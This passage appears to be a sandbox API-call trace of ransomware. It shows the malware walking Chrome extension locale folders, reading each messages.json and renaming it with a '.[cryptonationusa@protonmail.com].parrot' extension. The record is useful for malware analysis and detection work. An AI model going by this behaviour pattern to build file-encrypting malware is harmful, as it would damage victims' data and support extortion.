(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.733] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.733] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.733] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb838dfc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.733] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.733] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.733] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.733] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.733] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.734] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.734] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27d, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.734] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.734] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.735] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.735] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x165, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x165, lpOverlapped=0x0) returned 1 [0071.735] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.735] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.735] CloseHandle (hObject=0x28c) returned 1 [0071.736] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.738] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.740] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x377, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.740] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.740] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.742] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x25f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x25f, lpOverlapped=0x0) returned 1 [0071.742] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.742] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x377, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.742] CloseHandle (hObject=0x28c) returned 1 [0071.743] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.745] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.745] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.745] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x378, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.746] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.746] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.746] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.746] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.746] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.746] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.746] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25f, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.746] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.746] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.747] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.747] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x147, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x147, lpOverlapped=0x0) returned 1 [0071.747] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.748] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.748] CloseHandle (hObject=0x28c) returned 1 [0071.748] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.750] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.750] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.750] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.750] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.750] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.751] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.752] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.752] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.752] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.753] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.753] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd9, lpOverlapped=0x0) returned 1 [0071.753] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.753] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.753] CloseHandle (hObject=0x28c) returned 1 [0071.754] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.756] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.756] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.756] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.756] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.756] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.756] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.756] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.756] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.756] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", 